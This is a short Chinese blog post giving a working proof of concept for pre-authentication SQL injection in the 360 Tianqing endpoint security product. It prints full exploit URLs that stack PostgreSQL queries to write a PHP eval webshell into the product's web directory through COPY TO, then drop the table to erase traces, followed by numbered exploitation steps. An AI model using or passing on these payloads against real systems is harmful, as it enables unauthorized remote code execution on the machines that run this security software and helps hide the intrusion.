天擎-前台SQL注入

https://<IP>/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to '<目标文件写入路径>';drop table O;--

  

本段PoC将首先创建新的数据库表,后将数据库内容更名为webshell的目标名,最后删除表清理痕迹。

 

注入写Shell:

https://192.168.24.196:8443/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;--

  

利用过程:

1. 通过安装包安装的一般都有root权限,因此该注入点可尝试写shell

2. 通过注入点,创建一张表 O

3. 为 表O 添加一个新字段 T 并且写入shell内容

4. Postgres数据库 使用COPY TO把一个表的所有内容都拷贝到一个文件(完成写shell)

5. 删除 表O

posted @ 2021-04-09 16:33  r1ch4rd_L  阅读(663)  评论(0编辑  收藏  举报